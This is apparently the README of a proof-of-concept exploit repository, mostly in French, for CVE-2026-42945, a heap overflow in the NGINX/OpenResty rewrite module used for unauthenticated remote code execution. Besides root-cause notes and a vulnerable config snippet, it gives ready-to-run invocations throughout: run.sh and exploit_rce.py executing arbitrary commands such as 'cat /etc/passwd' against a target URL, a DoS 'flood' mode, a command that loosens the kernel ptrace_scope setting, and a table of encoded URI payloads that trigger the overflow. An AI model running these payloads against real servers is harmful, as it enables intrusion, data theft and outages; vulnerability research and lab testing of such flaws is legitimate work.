
Preuve de concept d'exploit pour CVE-2026-42945, un débordement de tas critique dans le module de réécriture de NGINX permettant une exécution de code à distance non authentifiée via un encodage d'URI malveillant. Comprend un environnement de test basé sur Docker, une validation ASAN et plusieurs scripts d'exploit.
RCE confirmé avec succès — Exécution de commandes arbitraires dans les processus workers NGINX / OpenResty via débordement de tas + injection de processus GDB.
# One-click build NGINX image + execute RCE test
./run.sh nginx
# One-click build OpenResty image + execute RCE test
./run.sh openresty
# Custom command
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'
| Propriété | Valeur |
|---|---|
| CVE ID | CVE-2026-42945 |
| Type de vulnérabilité | Débordement de tas → Exécution de code à distance (RCE) |
| Composant affecté | ngx_http_rewrite_module |
| Versions affectées | NGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36 |
| Score de vulnérabilité | CVSS 9.4 (CRITICAL) |
| Conditions d'exploitation | Aucune authentification requise ; RCE nécessite des privilèges ptrace (root) |
ngx_http_script_complex_value_code() alloue le tampon en fonction de la longueur après décodage de l'URI, mais ngx_http_script_copy_capture_code() appelle ngx_escape_uri() et écrit en fonction de la longueur après encodage. Les caractères encodés en URL sont multipliés par 3 → débordement de tas.
Trois conditions doivent être réunies simultanément :
rewrite et set dans le même locationrewrite contient ?set référence la variable de capture $1 de rewritelocation ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # Contains '?'
set $original_endpoint $1; # References $1
}
#0 ngx_escape_uri src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler src/http/modules/ngx_http_rewrite_module.c:180
.
├── run.sh # One-click build + test entry point
├── README.md
│
├── scripts/ # Test & exploit scripts
│ ├── rce.sh # Pure Shell RCE (curl + GDB, no Python)
│ ├── exploit_rce.py # Python RCE (compatible with 2.7/3.x)
│ ├── exploit.py # PoC main script (check/exploit/rce/flood)
│ └── exploit_asan.py # ASAN full scan
│
├── package/ # Deployment & orchestration files
│ ├── Dockerfile.rce # NGINX source compile + RCE environment
│ ├── Dockerfile.openresty.rce # OpenResty source compile + RCE environment
│ ├── Dockerfile # Base image (Alpine)
│ ├── Dockerfile.asan # ASAN debug image
│ ├── docker-compose.yml # Docker orchestration (nginx-rce + openresty-rce)
│ ├── nginx.conf # NGINX vulnerable configuration
│ ├── nginx-openresty.conf # OpenResty vulnerable configuration
│ ├── start_rce.sh # NGINX RCE container start script
│ └── start_openresty_rce.sh # OpenResty RCE container start script
│
└── src/ # Source code (for compilation)
├── nginx-1.26.3/ # NGINX 1.26.3 source code
├── nginx-1.26.3.tar.gz
└── openresty-1.25.3.1.tar.gz # OpenResty 1.25.3.1 (built-in nginx/1.25.3)
# Shell script (no Python dependency)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'
# Python script (compatible with 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'
# OpenResty same
docker exec openresty-rce bash /opt/rce.sh 'id'
docker exec -it nginx-rce bash
# Inside container:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'
# Requires root + ptrace privileges
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'
python3 scripts/exploit.py --target http://localhost:8775 --mode check # Detect vulnerability
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit # ASAN heap overflow validation
python3 scripts/exploit.py --target http://localhost:8775 --mode rce # RCE risk assessment
python3 scripts/exploit.py --target http://localhost:8775 --mode flood # DoS stress test
rewrite (contenant ?) + set (référençant $1)%25/%3f/%23/%26echo 1 > /proc/sys/kernel/yama/ptrace_scope| Payload | Description | Résultat |
|---|
/api/%25 × N | % encodé | ✅ Débordement de tas |
/api/%3f × N | ? encodé | ✅ Débordement de tas |
/api/%23 × N | # encodé | ✅ Débordement de tas |
/api/%26 × N | & encodé | ✅ Débordement de tas |